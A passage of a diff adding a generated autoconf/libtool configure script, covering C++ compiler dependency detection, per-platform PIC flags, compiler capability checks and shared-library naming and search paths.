\"X$output_verbose_link_cmd\" | $Xsed -e \"$no_glob_subst\"`" + + for p in `eval $output_verbose_link_cmd`; do + case $p in + + -L* | -R* | -l*) + # Some compilers place space between "-{L,R}" and the path. + # Remove the space. + if test $p = "-L" \ + || test $p = "-R"; then + prev=$p + continue + else + prev= + fi + + if test "$pre_test_object_deps_done" = no; then + case $p in + -L* | -R*) + # Internal compiler library paths should come after those + # provided the user. The postdeps already come after the + # user supplied libs so there is no need to process them. + if test -z "$compiler_lib_search_path_CXX"; then + compiler_lib_search_path_CXX="${prev}${p}" + else + compiler_lib_search_path_CXX="${compiler_lib_search_path_CXX} ${prev}${p}" + fi + ;; + # The "-l" case would never come before the object being + # linked, so don't bother handling this case. + esac + else + if test -z "$postdeps_CXX"; then + postdeps_CXX="${prev}${p}" + else + postdeps_CXX="${postdeps_CXX} ${prev}${p}" + fi + fi + ;; + + *.$objext) + # This assumes that the test object file only shows up + # once in the compiler output. + if test "$p" = "conftest.$objext"; then + pre_test_object_deps_done=yes + continue + fi + + if test "$pre_test_object_deps_done" = no; then + if test -z "$predep_objects_CXX"; then + predep_objects_CXX="$p" + else + predep_objects_CXX="$predep_objects_CXX $p" + fi + else + if test -z "$postdep_objects_CXX"; then + postdep_objects_CXX="$p" + else + postdep_objects_CXX="$postdep_objects_CXX $p" + fi + fi + ;; + + *) ;; # Ignore the rest. + + esac + done + + # Clean up. + rm -f a.out a.exe +else + echo "libtool.m4: error: problem compiling CXX test program" +fi + +$rm -f confest.$objext + +case " $postdeps_CXX " in +*" -lc "*) archive_cmds_need_lc_CXX=no ;; +esac + +lt_prog_compiler_wl_CXX= +lt_prog_compiler_pic_CXX= +lt_prog_compiler_static_CXX= + +{ echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6; } + + # C++ specific cases for pic, static, wl, etc. + if test "$GXX" = yes; then + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_CXX='-Bstatic' + fi + ;; + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_CXX='-m68020 -resident32 -malways-restore-a4' + ;; + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + mingw* | os2* | pw32*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_CXX='-DDLL_EXPORT' + ;; + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_CXX='-fno-common' + ;; + *djgpp*) + # DJGPP does not support shared libraries at all + lt_prog_compiler_pic_CXX= + ;; + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_CXX=-Kconform_pic + fi + ;; + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + ;; + *) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + esac + ;; + *) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + esac + else + case $host_os in + aix4* | aix5*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_CXX='-Bstatic' + else + lt_prog_compiler_static_CXX='-bnso -bI:/lib/syscalls.exp' + fi + ;; + chorus*) + case $cc_basename in + cxch68) + # Green Hills C++ Compiler + # _LT_AC_TAGVAR(lt_prog_compiler_static, CXX)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a" + ;; + esac + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_CXX='-qnocommon' + lt_prog_compiler_wl_CXX='-Wl,' + ;; + esac + ;; + dgux*) + case $cc_basename in + ec++) + lt_prog_compiler_pic_CXX='-KPIC' + ;; + ghcx) + # Green Hills C++ Compiler + lt_prog_compiler_pic_CXX='-pic' + ;; + *) + ;; + esac + ;; + freebsd* | kfreebsd*-gnu) + # FreeBSD uses GNU C++ + ;; + hpux9* | hpux10* | hpux11*) + case $cc_basename in + CC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + if test "$host_cpu" != ia64; then + lt_prog_compiler_pic_CXX='+Z' + fi + ;; + aCC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX="${ac_cv_prog_cc_wl}-a ${ac_cv_prog_cc_wl}archive" + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_CXX='+Z' + ;; + esac + ;; + *) + ;; + esac + ;; + irix5* | irix6* | nonstopux*) + case $cc_basename in + CC) + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_static_CXX='-non_shared' + # CC pic flag -KPIC is the default. + ;; + *) + ;; + esac + ;; + linux*) + case $cc_basename in + KCC) + # KAI C++ Compiler + lt_prog_compiler_wl_CXX='--backend -Wl,' + lt_prog_compiler_pic_CXX='-fPIC' + ;; + icpc) + # Intel C++ + lt_prog_compiler_wl_CXX='-Wl,' + lt_prog_compiler_pic_CXX='-KPIC' + lt_prog_compiler_static_CXX='-static' + ;; + cxx) + # Compaq C++ + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + lt_prog_compiler_pic_CXX= + lt_prog_compiler_static_CXX='-non_shared' + ;; + *) + ;; + esac + ;; + lynxos*) + ;; + m88k*) + ;; + mvs*) + case $cc_basename in + cxx) + lt_prog_compiler_pic_CXX='-W c,exportall' + ;; + *) + ;; + esac + ;; + netbsd*) + ;; + osf3* | osf4* | osf5*) + case $cc_basename in + KCC) + lt_prog_compiler_wl_CXX='--backend -Wl,' + ;; + RCC) + # Rational C++ 2.4.1 + lt_prog_compiler_pic_CXX='-pic' + ;; + cxx) + # Digital/Compaq C++ + lt_prog_compiler_wl_CXX='-Wl,' + # Make sure the PIC flag is empty. It appears that all Alpha + # Linux and Compaq Tru64 Unix objects are PIC. + lt_prog_compiler_pic_CXX= + lt_prog_compiler_static_CXX='-non_shared' + ;; + *) + ;; + esac + ;; + psos*) + ;; + sco*) + case $cc_basename in + CC) + lt_prog_compiler_pic_CXX='-fPIC' + ;; + *) + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + lt_prog_compiler_pic_CXX='-KPIC' + lt_prog_compiler_static_CXX='-Bstatic' + lt_prog_compiler_wl_CXX='-Qoption ld ' + ;; + gcx) + # Green Hills C++ Compiler + lt_prog_compiler_pic_CXX='-PIC' + ;; + *) + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + lt_prog_compiler_pic_CXX='-pic' + lt_prog_compiler_static_CXX='-Bstatic' + ;; + lcc) + # Lucid + lt_prog_compiler_pic_CXX='-pic' + ;; + *) + ;; + esac + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + lt_prog_compiler_pic_CXX='-KPIC' + ;; + *) + ;; + esac + ;; + unixware*) + ;; + vxworks*) + ;; + *) + lt_prog_compiler_can_build_shared_CXX=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_CXX" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_CXX" >&6; } + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_CXX"; then + +{ echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_CXX works... $ECHO_C" >&6; } +if test "${lt_prog_compiler_pic_works_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_CXX=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_CXX -DPIC" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:11839: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:11843: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_CXX=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_CXX" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_CXX" >&6; } + +if test x"$lt_prog_compiler_pic_works_CXX" = xyes; then + case $lt_prog_compiler_pic_CXX in + "" | " "*) ;; + *) lt_prog_compiler_pic_CXX=" $lt_prog_compiler_pic_CXX" ;; + esac +else + lt_prog_compiler_pic_CXX= + lt_prog_compiler_can_build_shared_CXX=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_CXX= + ;; + *) + lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC" + ;; +esac + +{ echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_c_o_CXX+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_CXX=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:11899: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:11903: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_CXX=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_CXX" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_CXX" >&6; } + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_CXX" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + { echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6; } + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6; } + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +{ echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6; } + + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + case $host_os in + aix4* | aix5*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds_CXX='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds_CXX='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + export_symbols_cmds_CXX="$ltdll_cmds" + ;; + cygwin* | mingw*) + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + ;; + *) + export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac + +{ echo "$as_me:$LINENO: result: $ld_shlibs_CXX" >&5 +echo "${ECHO_T}$ld_shlibs_CXX" >&6; } +test "$ld_shlibs_CXX" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_CXX" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_CXX=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_CXX in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6; } + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_CXX + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_CXX + allow_undefined_flag_CXX= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_CXX 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_CXX=no + else + archive_cmds_need_lc_CXX=yes + fi + allow_undefined_flag_CXX=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + { echo "$as_me:$LINENO: result: $archive_cmds_need_lc_CXX" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_CXX" >&6; } + ;; + esac + fi + ;; +esac + +{ echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6; } +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 